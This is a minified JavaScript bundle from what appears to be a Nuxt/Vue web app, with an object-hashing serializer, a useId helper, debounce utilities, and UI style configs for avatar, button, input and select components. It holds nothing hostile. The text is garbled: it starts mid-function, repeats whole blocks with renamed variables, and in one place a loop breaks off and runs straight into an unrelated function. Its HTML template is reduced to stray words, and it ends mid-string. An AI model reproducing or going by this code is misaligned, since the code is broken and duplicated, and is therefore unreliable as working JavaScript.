n=i=>{t+=i};return{toString(){return t},getContext(){return r},dispatch(i){return e.replacer&&(i=e.replacer(i)),this[i===null?"null":typeof i](i)},object(i){if(i&&typeof i.toJSON=="function")return this.object(i.toJSON());const a=Object.prototype.toString.call(i);let o="";const s=a.length;s<10?o="unknown:["+a+"]":o=a.slice(8,s-1),o=o.toLowerCase();let c=null;if((c=r.get(i))===void 0)r.set(i,r.size);else return this.dispatch("[CIRCULAR:"+c+"]");if(typeof Buffer<"u"&&Buffer.isBuffer&&Buffer.isBuffer(i))return n("buffer:"),n(i.toString("utf8"));if(o!=="object"&&o!=="function"&&o!=="asyncfunction")this[o]?this[o](i):e.ignoreUnknown||this.unkown(i,o);else{let b=Object.keys(i);e.unorderedObjects&&(b=b.sort());let p=[];e.respectType!==!1&&!xo(i)&&(p=ml),e.excludeKeys&&(b=b.filter(E=>!e.excludeKeys(E)),p=p.filter(E=>!e.excludeKeys(E))),n("object:"+(b.length+p.length)+":");const m=E=>{this.dispatch(E),n(":"),e.excludeValues||this.dispatch(i[E]),n(",")};for(const E of b)m(E);for(const E of p)m(E)}},array(i,a){if(a=a===void 0?e.unorderedArrays!==!1:a,n("array:"+i.length+":"),!a||i.length<=1){for(const c of i)this.dispatch(c);return}const o=new Map,s=i.map(c=>{const b=os(e);b.dispatch(c);for(const[p,m]of b.getContext())o.set(p,m);return b.toString()});return r=o,s.sort(),this.array(s,!1)},date(i){return n("date:"+i.toJSON())},symbol(i){return n("symbol:"+i.toString())},unkown(i,a){if(n(a),!!i&&(n(":"),i&&typeof i.entries=="function"))return this.array(Array.from(i.entries()),!0)},error(i){return n("error:"+i.toString())},boolean(i){return n("bool:"+i)},string(i){n("string:"+i.length+":"),n(i)},function(i){n("fn:"),xo(i)?this.dispatch("[native]"):this.dispatch(i.toString()),e.respectFunctionNames!==!1&&this.dispatch("function-name:"+String(i.name)),e.respectFunctionProperties&&this.object(i)},number(i){return n("number:"+i)},xml(i){return n("xml:"+i.toString())},null(){return n("Null")},undefined(){return n("Undefined")},regexp(i){return n("regex:"+i.toString())},uint8array(i){return n("uint8array:"),this.dispatch(Array.prototype.slice.call(i))},uint8clampedarray(i){return n("uint8clampedarray:"),this.dispatch(Array.prototype.slice.call(i))},int8array(i){return n("int8array:"),this.dispatch(Array.prototype.slice.call(i))},uint16array(i){return n("uint16array:"),this.dispatch(Array.prototype.slice.call(i))},int16array(i){return n("int16array:"),this.dispatch(Array.prototype.slice.call(i))},uint32array(i){return n("uint32array:"),this.dispatch(Array.prototype.slice.call(i))},int32array(i){return n("int32array:"),this.dispatch(Array.prototype.slice.call(i))},float32array(i){return n("float32array:"),this.dispatch(Array.prototype.slice.call(i))},float64array(i){return n("float64array:"),this.dispatch(Array.prototype.slice.call(i))},arraybuffer(i){return n("arraybuffer:"),this.dispatch(new Uint8Array(i))},url(i){return n("url:"+i.toString())},map(i){n("map:");const a=[...i];return this.array(a,e.unorderedSets!==!1)},set(i){n("set:");const a=[...i];return this.array(a,e.unorderedSets!==!1)},file(i){return n("file:"),this.dispatch([i.name,i.size,i.type,i.lastModfied])},blob(){if(e.ignoreUnknown)return n("[blob]");throw new Error(`Hashing Blob objects is currently not supported +import{i as kt,f as tl,g as Qo,h as Z,j as Ea,r as re,s as es,k as Ct,l as q,m as rl,_ as Kr,o as G,c as oe,n as nl,q as xe,v as ts,x as Qe,y as ae,z as il,A as Hi,B as dn,C as nt,D as Nr,E as Cn,F as ct,G as Je,H as lr,I as $r,t as dt,J as Ce,K as at,L as bo,M as al,N as ni,O as hn,P as Rt,Q as rs,R as Lr,S as pn,T as bn,U as ot,V as Ye,W as ns,X as ol,w as et,b as he,a as ne,Y as sl,Z as fl,$ as ll,d as Jt,a0 as is,a1 as vo,a2 as mo,a3 as ul,a4 as cl,a5 as dl,a6 as as,a7 as hl,a8 as pl,a9 as Yn,aa as Vi}from"./DmYen4dP.js";import bl from"./DjTWdmij.js";import{_ as vl}from"./DM1k_2ZE.js";import"./CAZilBRX.js";const go=Object.freeze({ignoreUnknown:!1,respectType:!1,respectFunctionNames:!1,respectFunctionProperties:!1,unorderedObjects:!0,unorderedArrays:!1,unorderedSets:!1,excludeKeys:void 0,excludeValues:void 0,replacer:void 0});function yo(e,t){t?t={...go,...t}:t=go;const r=os(t);return r.dispatch(e),r.toString()}const ml=Object.freeze(["prototype","__proto__","constructor"]);function os(e){let t="",r=new Map;const n=i=>{t+=i};return{toString(){return t},getContext(){return r},dispatch(i){return e.replacer&&(i=e.replacer(i)),this[i===null?"null":typeof i](i)},object(i){if(i&&typeof i.toJSON=="function")return this.object(i.toJSON());const a=Object.prototype.toString.call(i);let s="";const o=a.length;o<10?s="unknown:["+a+"]":s=a.slice(8,o-1),s=s.toLowerCase();let d=null;if((d=r.get(i))===void 0)r.set(i,r.size);else return this.dispatch("[CIRCULAR:"+d+"]");if(typeof Buffer<"u"&&Buffer.isBuffer&&Buffer.isBuffer(i))return n("buffer:"),n(i.toString("utf8"));if(s!=="object"&&s!=="function"&&s!=="asyncfunction")this[s]?this[s](i):e.ignoreUnknown||this.unkown(i,s);else{let b=Object.keys(i);e.unorderedObjects&&(b=b.sort());let p=[];e.respectType!==!1&&!xo(i)&&(p=ml),e.excludeKeys&&(b=b.filter(E=>!e.excludeKeys(E)),p=p.filter(E=>!e.excludeKeys(E))),n("object:"+(b.length+p.length)+":");const m=E=>{this.dispatch(E),n(":"),e.excludeValues||this.dispatch(i[E]),n(",")};for(const E of b)m(E);for(const E of p)m(E)}},array(i,a){if(a=a===void 0?e.unorderedArrays!==!1:a,n("array:"+i.length+":"),!a||i.length<=1){for(const d of i)this.dispatch(d);return}const s=new Map,o=i.map(d=>{const b=os(e);b.dispatch(d);for(const[p,m]of b.getContext())s.set(p,m);return b.toString()});return r=s,o.sort(),this.array(o,!1)},date(i){return n("date:"+i.toJSON())},symbol(i){return n("symbol:"+i.toString())},unkown(i,a){if(n(a),!!i&&(n(":"),i&&typeof i.entries=="function"))return this.array(Array.from(i.entries()),!0)},error(i){return n("error:"+i.toString())},boolean(i){return n("bool:"+i)},string(i){n("string:"+i.length+":"),n(i)},function(i){n("fn:"),xo(i)?this.dispatch("[native]"):this.dispatch(i.toString()),e.respectFunctionNames!==!1&&this.dispatch("function-name:"+String(i.name)),e.respectFunctionProperties&&this.object(i)},number(i){return n("number:"+i)},xml(i){return n("xml:"+i.toString())},null(){return n("Null")},undefined(){return n("Undefined")},regexp(i){return n("regex:"+i.toString())},uint8array(i){return n("uint8array:"),this.dispatch(Array.prototype.slice.call(i))},uint8clampedarray(i){return n("uint8clampedarray:"),this.dispatch(Array.prototype.slice.call(i))},int8array(i){return n("int8array:"),this.dispatch(Array.prototype.slice.call(i))},uint16array(i){return n("uint16array:"),this.dispatch(Array.prototype.slice.call(i))},int16array(i){return n("int16array:"),this.dispatch(Array.prototype.slice.call(i))},uint32array(i){return n("uint32array:"),this.dispatch(Array.prototype.slice.call(i))},int32array(i){return n("int32array:"),this.dispatch(Array.prototype.slice.call(i))},float32array(i){return n("float32array:"),this.dispatch(Array.prototype.slice.call(i))},float64array(i){return n("float64array:"),this.dispatch(Array.prototype.slice.call(i))},arraybuffer(i){return n("arraybuffer:"),this.dispatch(new Uint8Array(i))},url(i){return n("url:"+i.toString())},map(i){n("map:");const a=[...i];return this.array(a,e.unorderedSets!==!1)},set(i){n("set:");const a=[...i];return this.array(a,e.unorderedSets!==!1)},file(i){return n("file:"),this.dispatch([i.name,i.size,i.type,i.lastModfied])},blob(){if(e.ignoreUnknown)return n("[blob]");throw new Error(`Hashing Blob objects is currently not supported Use "options.replacer" or "options.ignoreUnknown" -`)},domwindow(){return n("domwindow")},bigint(i){return n("bigint:"+i.toString())},process(){return n("process")},timer(){return n("timer")},pipe(){return n("pipe")},tcp(){return n("tcp")},udp(){return n("udp")},tty(){return n("tty")},statwatcher(){return n("statwatcher")},securecontext(){return n("securecontext")},connection(){return n("connection")},zlib(){return n("zlib")},context(){return n("context")},nodescript(){return n("nodescript")},httpparser(){return n("httpparser")},dataview(){return n("dataview")},signal(){return n("signal")},fsevent(){return n("fsevent")},tlswrap(){return n("tlswrap")}}}const ss="[native code] }",gl=ss.length;function xo(e){return typeof e!="function"?!1:Function.prototype.toString.call(e).slice(-gl)===ss}function yl(e,t,r={}){return e===t||yo(e,r)===yo(t,r)}const xl=Symbol.for("nuxt:client-only"),wl="data-n-ids",Sl="-";function Ml(e){var i,a,o,s,c,b;if(typeof e!="string")throw new TypeError("[nuxt] [useId] key must be a string.");e=`n${e.slice(1)}`;const t=tl(),r=Qo();if(!r)throw new TypeError("[nuxt] `useId` must be called within a component setup function.");t._id||(t._id=0),r._nuxtIdIndex||(r._nuxtIdIndex={}),(i=r._nuxtIdIndex)[e]||(i[e]=0);const n=e+Sl+r._nuxtIdIndex[e]++;if(t.payload.serverRendered&&t.isHydrating&&!kt(xl,!1)){const p=((a=r.vnode.el)==null?void 0:a.nodeType)===8&&((s=(o=r.vnode.el)==null?void 0:o.nextElementSibling)!=null&&s.getAttribute)?(c=r.vnode.el)==null?void 0:c.nextElementSibling:r.vnode.el,m=JSON.parse(((b=p==null?void 0:p.getAttribute)==null?void 0:b.call(p,wl))||"{}");if(m[n])return m[n]}return e+"_"+t._id++}function da(e){return typeof e=="function"?e():Z(e)}typeof WorkerGlobalScope<"u"&&globalThis instanceof WorkerGlobalScope;const ca=()=>{};function _l(e,t){function r(...n){return new Promise((i,a)=>{Promise.resolve(e(()=>t.apply(this,n),{fn:t,thisArg:this,args:n})).then(i).catch(a)})}return r}function El(e,t={}){let r,n,i=ca;const a=s=>{clearTimeout(s),i(),i=ca};return s=>{const c=da(e),b=da(t.maxWait);return r&&a(r),c<=0||b!==void 0&&b<=0?(n&&(a(n),n=null),Promise.resolve(s())):new Promise((p,m)=>{i=t.rejectOnCancel?m:p,b&&!n&&(n=setTimeout(()=>{r&&a(r),n=null,p(s())},b)),r=setTimeout(()=>{n&&a(n),n=null,p(s())},c)})}}function fs(e,t=200,r={}){return _l(El(t,r),e)}function Al(e,t,r){let n;Ea(r)?n={evaluating:r}:n=r||{};const{lazy:i=!1,evaluating:a=void 0,shallow:o=!0,onError:s=ca}=n,c=re(!i),b=o?es(t):re(t);let p=0;return Ct(async m=>{if(!c.value)return;p++;const E=p;let I=!1;a&&Promise.resolve().then(()=>{a.value=!0});try{const B=await e(C=>{m(()=>{a&&(a.value=!1),I||C()})});E===p&&(b.value=B)}catch(B){s(B)}finally{a&&E===p&&(a.value=!1),I=!0}}),i?q(()=>(c.value=!0,b.value)):b}function wo(e){var t;const r=da(e);return(t=r==null?void 0:r.$el)!=null?t:r}function Il(e,t){const r={...e};for(const n of t)delete r[n];return r}function ls(e,t,r){typeof t=="string"&&(t=t.split(".").map(i=>{const a=Number(i);return isNaN(a)?i:a}));let n=e;for(const i of t){if(n==null)return r;n=n[i]}return n!==void 0?n:r}const Aa={to:{type:[String,Object],default:void 0,required:!1},href:{type:[String,Object],default:void 0,required:!1},target:{type:String,default:void 0,required:!1},rel:{type:String,default:void 0,required:!1},noRel:{type:Boolean,default:void 0,required:!1},prefetch:{type:Boolean,default:void 0,required:!1},noPrefetch:{type:Boolean,default:void 0,required:!1},activeClass:{type:String,default:void 0,required:!1},exactActiveClass:{type:String,default:void 0,required:!1},prefetchedClass:{type:String,default:void 0,required:!1},replace:{type:Boolean,default:void 0,required:!1},ariaCurrentValue:{type:String,default:void 0,required:!1},external:{type:Boolean,default:void 0,required:!1}},Ol=e=>Object.keys(Aa).reduce((r,n)=>(e[n]!==void 0&&(r[n]=e[n]),r),{}),Bl=rl("/images/logo-2.png"),kl={},Cl={class:"w-full bg-secondary fixed text-2xl font-bold py-1 top-0 z-50 flex items-center justify-between px-8 border-b border-gray-700"},Rl=nl('
Left LogoLeft Logo
Github
',3),$l=[Rl];function Tl(e,t){return G(),oe("header",Cl,$l)}const Pl=Kr(kl,[["render",Tl]]),Nl=xe({props:{name:{type:String,required:!0},dynamic:{type:Boolean,default:!1}},setup(e){const t=ts();return{dynamic:q(()=>{var n,i;return e.dynamic||((i=(n=t.ui)==null?void 0:n.icons)==null?void 0:i.dynamic)})}}});function zl(e,t,r,n,i,a){const o=bl;return e.dynamic?(G(),Qe(o,{key:0,name:e.name},null,8,["name"])):(G(),oe("span",{key:1,class:ae(e.name)},null,2))}const Qt=Kr(Nl,[["render",zl]]),Rn=(e,t,r,n,i=!1)=>{const a=il(),o=ts(),s=q(()=>{var E;const b=Hi(t),p=Hi(r),m=Hi(n);return cn((b==null?void 0:b.strategy)||((E=o.ui)==null?void 0:E.strategy),m?{wrapper:m}:{},b||{},i?ls(o.ui,e,{}):{},p||{})}),c=q(()=>Il(a,["class"]));return{ui:s,attrs:c}},Dl={wrapper:"relative inline-flex items-center justify-center flex-shrink-0",background:"bg-gray-100 dark:bg-gray-800",rounded:"rounded-full",text:"font-medium leading-none text-gray-900 dark:text-white truncate",placeholder:"font-medium leading-none text-gray-500 dark:text-gray-400 truncate",size:{"3xs":"h-4 w-4 text-[8px]","2xs":"h-5 w-5 text-[10px]",xs:"h-6 w-6 text-xs",sm:"h-8 w-8 text-sm",md:"h-10 w-10 text-base",lg:"h-12 w-12 text-lg",xl:"h-14 w-14 text-xl","2xl":"h-16 w-16 text-2xl","3xl":"h-20 w-20 text-3xl"},chip:{base:"absolute rounded-full ring-1 ring-white dark:ring-gray-900 flex items-center justify-center text-white dark:text-gray-900 font-medium",background:"bg-{color}-500 dark:bg-{color}-400",position:{"top-right":"top-0 right-0","bottom-right":"bottom-0 right-0","top-left":"top-0 left-0","bottom-left":"bottom-0 left-0"},size:{"3xs":"h-[4px] min-w-[4px] text-[4px] p-px","2xs":"h-[5px] min-w-[5px] text-[5px] p-px",xs:"h-1.5 min-w-[0.375rem] text-[6px] p-px",sm:"h-2 min-w-[0.5rem] text-[7px] p-0.5",md:"h-2.5 min-w-[0.625rem] text-[8px] p-0.5",lg:"h-3 min-w-[0.75rem] text-[10px] p-0.5",xl:"h-3.5 min-w-[0.875rem] text-[11px] p-1","2xl":"h-4 min-w-[1rem] text-[12px] p-1","3xl":"h-5 min-w-[1.25rem] text-[14px] p-1"}},icon:{base:"text-gray-500 dark:text-gray-400 flex-shrink-0",size:{"3xs":"h-2 w-2","2xs":"h-2.5 w-2.5",xs:"h-3 w-3",sm:"h-4 w-4",md:"h-5 w-5",lg:"h-6 w-6",xl:"h-7 w-7","2xl":"h-8 w-8","3xl":"h-10 w-10"}},default:{size:"sm",icon:null,chipColor:null,chipPosition:"top-right"}},Fl={base:"focus:outline-none focus-visible:outline-0 disabled:cursor-not-allowed disabled:opacity-75 flex-shrink-0",font:"font-medium",rounded:"rounded-md",truncate:"text-left break-all line-clamp-1",block:"w-full flex justify-center items-center",inline:"inline-flex items-center",size:{"2xs":"text-xs",xs:"text-xs",sm:"text-sm",md:"text-sm",lg:"text-sm",xl:"text-base"},gap:{"2xs":"gap-x-1",xs:"gap-x-1.5",sm:"gap-x-1.5",md:"gap-x-2",lg:"gap-x-2.5",xl:"gap-x-2.5"},padding:{"2xs":"px-2 py-1",xs:"px-2.5 py-1.5",sm:"px-2.5 py-1.5",md:"px-3 py-2",lg:"px-3.5 py-2.5",xl:"px-3.5 py-2.5"},square:{"2xs":"p-1",xs:"p-1.5",sm:"p-1.5",md:"p-2",lg:"p-2.5",xl:"p-2.5"},color:{white:{solid:"shadow-sm ring-1 ring-inset ring-gray-300 dark:ring-gray-700 text-gray-900 dark:text-white bg-white hover:bg-gray-50 disabled:bg-white dark:bg-gray-900 dark:hover:bg-gray-800/50 dark:disabled:bg-gray-900 focus-visible:ring-2 focus-visible:ring-primary-500 dark:focus-visible:ring-primary-400",ghost:"text-gray-900 dark:text-white hover:bg-white dark:hover:bg-gray-900 focus-visible:ring-inset focus-visible:ring-2 focus-visible:ring-primary-500 dark:focus-visible:ring-primary-400"},gray:{solid:"shadow-sm ring-1 ring-inset ring-gray-300 dark:ring-gray-700 text-gray-700 dark:text-gray-200 bg-gray-50 hover:bg-gray-100 disabled:bg-gray-50 dark:bg-gray-800 dark:hover:bg-gray-700/50 dark:disabled:bg-gray-800 focus-visible:ring-2 focus-visible:ring-primary-500 dark:focus-visible:ring-primary-400",ghost:"text-gray-700 dark:text-gray-200 hover:text-gray-900 dark:hover:text-white hover:bg-gray-50 dark:hover:bg-gray-800 focus-visible:ring-inset focus-visible:ring-2 focus-visible:ring-primary-500 dark:focus-visible:ring-primary-400",link:"text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-200 underline-offset-4 hover:underline focus-visible:ring-inset focus-visible:ring-2 focus-visible:ring-primary-500 dark:focus-visible:ring-primary-400"},black:{solid:"shadow-sm text-white dark:text-gray-900 bg-gray-900 hover:bg-gray-800 disabled:bg-gray-900 dark:bg-white dark:hover:bg-gray-100 dark:disabled:bg-white focus-visible:ring-inset focus-visible:ring-2 focus-visible:ring-primary-500 dark:focus-visible:ring-primary-400",link:"text-gray-900 dark:text-white underline-offset-4 hover:underline focus-visible:ring-inset focus-visible:ring-2 focus-visible:ring-primary-500 dark:focus-visible:ring-primary-400"}},variant:{solid:"shadow-sm text-white dark:text-gray-900 bg-{color}-500 hover:bg-{color}-600 disabled:bg-{color}-500 dark:bg-{color}-400 dark:hover:bg-{color}-500 dark:disabled:bg-{color}-400 focus-visible:outline focus-visible:outline-2 focus-visible:outline-offset-2 focus-visible:outline-{color}-500 dark:focus-visible:outline-{color}-400",outline:"ring-1 ring-inset ring-current text-{color}-500 dark:text-{color}-400 hover:bg-{color}-50 disabled:bg-transparent dark:hover:bg-{color}-950 dark:disabled:bg-transparent focus-visible:ring-2 focus-visible:ring-{color}-500 dark:focus-visible:ring-{color}-400",soft:"text-{color}-500 dark:text-{color}-400 bg-{color}-50 hover:bg-{color}-100 disabled:bg-{color}-50 dark:bg-{color}-950 dark:hover:bg-{color}-900 dark:disabled:bg-{color}-950 focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-{color}-500 dark:focus-visible:ring-{color}-400",ghost:"text-{color}-500 dark:text-{color}-400 hover:bg-{color}-50 disabled:bg-transparent dark:hover:bg-{color}-950 dark:disabled:bg-transparent focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-{color}-500 dark:focus-visible:ring-{color}-400",link:"text-{color}-500 hover:text-{color}-600 disabled:text-{color}-500 dark:text-{color}-400 dark:hover:text-{color}-500 dark:disabled:text-{color}-400 underline-offset-4 hover:underline focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-{color}-500 dark:focus-visible:ring-{color}-400"},icon:{base:"flex-shrink-0",loading:"animate-spin",size:{"2xs":"h-4 w-4",xs:"h-4 w-4",sm:"h-5 w-5",md:"h-5 w-5",lg:"h-5 w-5",xl:"h-6 w-6"}},default:{size:"sm",variant:"solid",color:"primary",loadingIcon:"i-heroicons-arrow-path-20-solid"}},us={base:"invisible before:visible before:block before:rotate-45 before:z-[-1] before:w-2 before:h-2",ring:"before:ring-1 before:ring-gray-200 dark:before:ring-gray-800",rounded:"before:rounded-sm",background:"before:bg-gray-200 dark:before:bg-gray-800",shadow:"before:shadow",placement:"group-data-[popper-placement*='right']:-left-1 group-data-[popper-placement*='left']:-right-1 group-data-[popper-placement*='top']:-bottom-1 group-data-[popper-placement*='bottom']:-top-1"},ds={wrapper:"relative",base:"relative block w-full disabled:cursor-not-allowed disabled:opacity-75 focus:outline-none border-0",form:"form-input",rounded:"rounded-md",placeholder:"placeholder-gray-400 dark:placeholder-gray-500",file:{base:"file:mr-1.5 file:font-medium file:text-gray-500 dark:file:text-gray-400 file:bg-transparent file:border-0 file:p-0 file:outline-none"},size:{"2xs":"text-xs",xs:"text-xs",sm:"text-sm",md:"text-sm",lg:"text-sm",xl:"text-base"},gap:{"2xs":"gap-x-1",xs:"gap-x-1.5",sm:"gap-x-1.5",md:"gap-x-2",lg:"gap-x-2.5",xl:"gap-x-2.5"},padding:{"2xs":"px-2 py-1",xs:"px-2.5 py-1.5",sm:"px-2.5 py-1.5",md:"px-3 py-2",lg:"px-3.5 py-2.5",xl:"px-3.5 py-2.5"},leading:{padding:{"2xs":"ps-7",xs:"ps-8",sm:"ps-9",md:"ps-10",lg:"ps-11",xl:"ps-12"}},trailing:{padding:{"2xs":"pe-7",xs:"pe-8",sm:"pe-9",md:"pe-10",lg:"pe-11",xl:"pe-12"}},color:{white:{outline:"shadow-sm bg-white dark:bg-gray-900 text-gray-900 dark:text-white ring-1 ring-inset ring-gray-300 dark:ring-gray-700 focus:ring-2 focus:ring-primary-500 dark:focus:ring-primary-400"},gray:{outline:"shadow-sm bg-gray-50 dark:bg-gray-800 text-gray-900 dark:text-white ring-1 ring-inset ring-gray-300 dark:ring-gray-700 focus:ring-2 focus:ring-primary-500 dark:focus:ring-primary-400"}},variant:{outline:"shadow-sm bg-transparent text-gray-900 dark:text-white ring-1 ring-inset ring-{color}-500 dark:ring-{color}-400 focus:ring-2 focus:ring-{color}-500 dark:focus:ring-{color}-400",none:"bg-transparent focus:ring-0 focus:shadow-none"},icon:{base:"flex-shrink-0 text-gray-400 dark:text-gray-500",color:"text-{color}-500 dark:text-{color}-400",loading:"animate-spin",size:{"2xs":"h-4 w-4",xs:"h-4 w-4",sm:"h-5 w-5",md:"h-5 w-5",lg:"h-5 w-5",xl:"h-6 w-6"},leading:{wrapper:"absolute inset-y-0 start-0 flex items-center",pointer:"pointer-events-none",padding:{"2xs":"px-2",xs:"px-2.5",sm:"px-2.5",md:"px-3",lg:"px-3.5",xl:"px-3.5"}},trailing:{wrapper:"absolute inset-y-0 end-0 flex items-center",pointer:"pointer-events-none",padding:{"2xs":"px-2",xs:"px-2.5",sm:"px-2.5",md:"px-3",lg:"px-3.5",xl:"px-3.5"}}},default:{size:"sm",color:"white",variant:"outline",loadingIcon:"i-heroicons-arrow-path-20-solid"}},So={container:"z-20 group",trigger:"flex items-center w-full",width:"w-full",height:"max-h-60",base:"relative focus:outline-none overflow-y-auto scroll-py-1",background:"bg-white dark:bg-gray-800",shadow:"shadow-lg",rounded:"rounded-md",padding:"p-1",ring:"ring-1 ring-gray-200 dark:ring-gray-700",empty:"text-sm text-gray-400 dark:text-gray-500 px-2 py-1.5",option:{base:"cursor-default select-none relative flex items-center justify-between gap-1",rounded:"rounded-md",padding:"px-1.5 py-1.5",size:"text-sm",color:"text-gray-900 dark:text-white",container:"flex items-center gap-1.5 min-w-0",active:"bg-gray-100 dark:bg-gray-900",inactive:"",selected:"pe-7",disabled:"cursor-not-allowed opacity-50",empty:"text-sm text-gray-400 dark:text-gray-500 px-2 py-1.5",icon:{base:"flex-shrink-0 h-5 w-5",active:"text-gray-900 dark:text-white",inactive:"text-gray-400 dark:text-gray-500"},selectedIcon:{wrapper:"absolute inset-y-0 end-0 flex items-center",padding:"pe-2",base:"h-5 w-5 text-gray-900 dark:text-white flex-shrink-0"},avatar:{base:"flex-shrink-0",size:"2xs"},chip:{base:"flex-shrink-0 w-2 h-2 mx-1 rounded-full"}},transition:{leaveActiveClass:"transition ease-in duration-100",leaveFromClass:"opacity-100",leaveToClass:"opacity-0"},popper:{placement:"bottom-end"},default:{selectedIcon:"i-heroicons-check-20-solid",trailingIcon:"i-heroicons-chevron-down-20-solid"},arrow:{...us,ring:"before:ring-1 before:ring-gray-200 dark:before:ring-gray-700",background:"before:bg-white dark:before:bg-gray-700"}},Ll={...ds,form:"form-textarea",default:{size:"sm",color:"white",variant:"outline"}},jl={...ds,form:"form-select",placeholder:"text-gray-400 dark:text-gray-500",default:{size:"sm",color:"white",variant:"outline",loadingIcon:"i-heroicons-arrow-path-20-solid",trailingIcon:"i-heroicons-chevron-down-20-solid"}},Ul={...So,select:"inline-flex items-center text-left cursor-default",input:"block w-[calc(100%+0.5rem)] focus:ring-transparent text-sm px-3 py-1.5 text-gray-700 dark:text-gray-200 bg-white dark:bg-gray-800 border-0 border-b border-gray-200 dark:border-gray-700 sticky -top-1 -mt-1 mb-1 -mx-1 z-10 placeholder-gray-400 dark:placeholder-gray-500 focus:outline-none",required:"absolute inset-0 w-px opacity-0 cursor-default",label:"block truncate",option:{...So.option,create:"block truncate"},transition:{leaveActiveClass:"transition ease-in duration-100",leaveFromClass:"opacity-100",leaveToClass:"opacity-0"},popper:{placement:"bottom-end"},default:{selectedIcon:"i-heroicons-check-20-solid",clearSearchOnClose:!1,showCreateOptionWhen:"empty"},arrow:{...us,ring:"before:ring-1 before:ring-gray-200 dark:before:ring-gray-700",background:"before:bg-white dark:before:bg-gray-700"}},Br=cn(nt.ui.strategy,nt.ui.avatar,Dl),ql=xe({components:{UIcon:Qt},inheritAttrs:!1,props:{as:{type:[String,Object],default:"img"},src:{type:[String,Boolean],default:null},alt:{type:String,default:null},text:{type:String,default:null},icon:{type:String,default:()=>Br.default.icon},size:{type:String,default:()=>Br.default.size,validator(e){return Object.keys(Br.size).includes(e)}},chipColor:{type:String,default:()=>Br.default.chipColor,validator(e){return["gray",...nt.ui.colors].includes(e)}},chipPosition:{type:String,default:()=>Br.default.chipPosition,validator(e){return Object.keys(Br.chip.position).includes(e)}},chipText:{type:[String,Number],default:null},imgClass:{type:String,default:""},class:{type:[String,Object,Array],default:()=>""},ui:{type:Object,default:()=>({})}},setup(e){const{ui:t,attrs:r}=Rn("avatar",Nr(e,"ui"),Br),n=q(()=>typeof e.src=="boolean"?null:e.src),i=q(()=>(e.alt||"").split(" ").map(m=>m.charAt(0)).join("").substring(0,2)),a=q(()=>Cn(dt(t.value.wrapper,(b.value||!n.value)&&t.value.background,t.value.rounded,t.value.size[e.size]),e.class)),o=q(()=>Cn(dt(t.value.rounded,t.value.size[e.size]),e.imgClass)),s=q(()=>dt(t.value.icon.base,t.value.icon.size[e.size])),c=q(()=>dt(t.value.chip.base,t.value.chip.size[e.size],t.value.chip.position[e.chipPosition],t.value.chip.background.replaceAll("{color}",e.chipColor))),b=re(!1);Je(()=>e.src,()=>{b.value&&(b.value=!1)});function p(){b.value=!0}return{ui:t,attrs:r,wrapperClass:a,imgClass:o,iconClass:s,chipClass:c,url:n,placeholder:i,error:b,onError:p}}});function Hl(e,t,r,n,i,a){const o=Qt;return G(),oe("span",{class:ae(e.wrapperClass)},[e.url&&!e.error?(G(),Qe($r(e.as),lr({key:0,class:e.imgClass,alt:e.alt,src:e.url},e.attrs,{onError:e.onError}),null,16,["class","alt","src","onError"])):e.text?(G(),oe("span",{key:1,class:ae(e.ui.text)},ct(e.text),3)):e.icon?(G(),Qe(o,{key:2,name:e.icon,class:ae(e.iconClass)},null,8,["name","class"])):e.placeholder?(G(),oe("span",{key:3,class:ae(e.ui.placeholder)},ct(e.placeholder),3)):Ce("",!0),e.chipColor?(G(),oe("span",{key:4,class:ae(e.chipClass)},ct(e.chipText),3)):Ce("",!0),at(e.$slots,"default")],2)}const cs=Kr(ql,[["render",Hl]]);function Mn(e,t,r){let n=r.initialDeps??[],i;return()=>{var a,o,s,c;let b;r.key&&((a=r.debug)!=null&&a.call(r))&&(b=Date.now());const p=e();if(!(p.length!==n.length||p.some((I,B)=>n[B]!==I)))return i;n=p;let E;if(r.key&&((o=r.debug)!=null&&o.call(r))&&(E=Date.now()),i=t(...p),r.key&&((s=r.debug)!=null&&s.call(r))){const I=Math.round((Date.now()-b)*100)/100,B=Math.round((Date.now()-E)*100)/100,C=B/16,F=(z,D)=>{for(z=String(z);z.length{};function _l(e,t){function r(...n){return new Promise((i,a)=>{Promise.resolve(e(()=>t.apply(this,n),{fn:t,thisArg:this,args:n})).then(i).catch(a)})}return r}function El(e,t={}){let r,n,i=da;const a=o=>{clearTimeout(o),i(),i=da};return o=>{const d=ca(e),b=ca(t.maxWait);return r&&a(r),d<=0||b!==void 0&&b<=0?(n&&(a(n),n=null),Promise.resolve(o())):new Promise((p,m)=>{i=t.rejectOnCancel?m:p,b&&!n&&(n=setTimeout(()=>{r&&a(r),n=null,p(o())},b)),r=setTimeout(()=>{n&&a(n),n=null,p(o())},d)})}}function fs(e,t=200,r={}){return _l(El(t,r),e)}function Al(e,t,r){let n;Ea(r)?n={evaluating:r}:n=r||{};const{lazy:i=!1,evaluating:a=void 0,shallow:s=!0,onError:o=da}=n,d=re(!i),b=s?es(t):re(t);let p=0;return Ct(async m=>{if(!d.value)return;p++;const E=p;let I=!1;a&&Promise.resolve().then(()=>{a.value=!0});try{const B=await e(C=>{m(()=>{a&&(a.value=!1),I||C()})});E===p&&(b.value=B)}catch(B){o(B)}finally{a&&E===p&&(a.value=!1),I=!0}}),i?q(()=>(d.value=!0,b.value)):b}function wo(e){var t;const r=ca(e);return(t=r==null?void 0:r.$el)!=null?t:r}function Il(e,t){const r={...e};for(const n of t)delete r[n];return r}function ls(e,t,r){typeof t=="string"&&(t=t.split(".").map(i=>{const a=Number(i);return isNaN(a)?i:a}));let n=e;for(const i of t){if(n==null)return r;n=n[i]}return n!==void 0?n:r}const Aa={to:{type:[String,Object],default:void 0,required:!1},href:{type:[String,Object],default:void 0,required:!1},target:{type:String,default:void 0,required:!1},rel:{type:String,default:void 0,required:!1},noRel:{type:Boolean,default:void 0,required:!1},prefetch:{type:Boolean,default:void 0,required:!1},noPrefetch:{type:Boolean,default:void 0,required:!1},activeClass:{type:String,default:void 0,required:!1},exactActiveClass:{type:String,default:void 0,required:!1},prefetchedClass:{type:String,default:void 0,required:!1},replace:{type:Boolean,default:void 0,required:!1},ariaCurrentValue:{type:String,default:void 0,required:!1},external:{type:Boolean,default:void 0,required:!1}},Ol=e=>Object.keys(Aa).reduce((r,n)=>(e[n]!==void 0&&(r[n]=e[n]),r),{}),Bl=rl("/images/logo-2.png"),kl={},Cl={class:"w-full bg-secondary fixed text-2xl font-bold py-1 top-0 z-50 flex 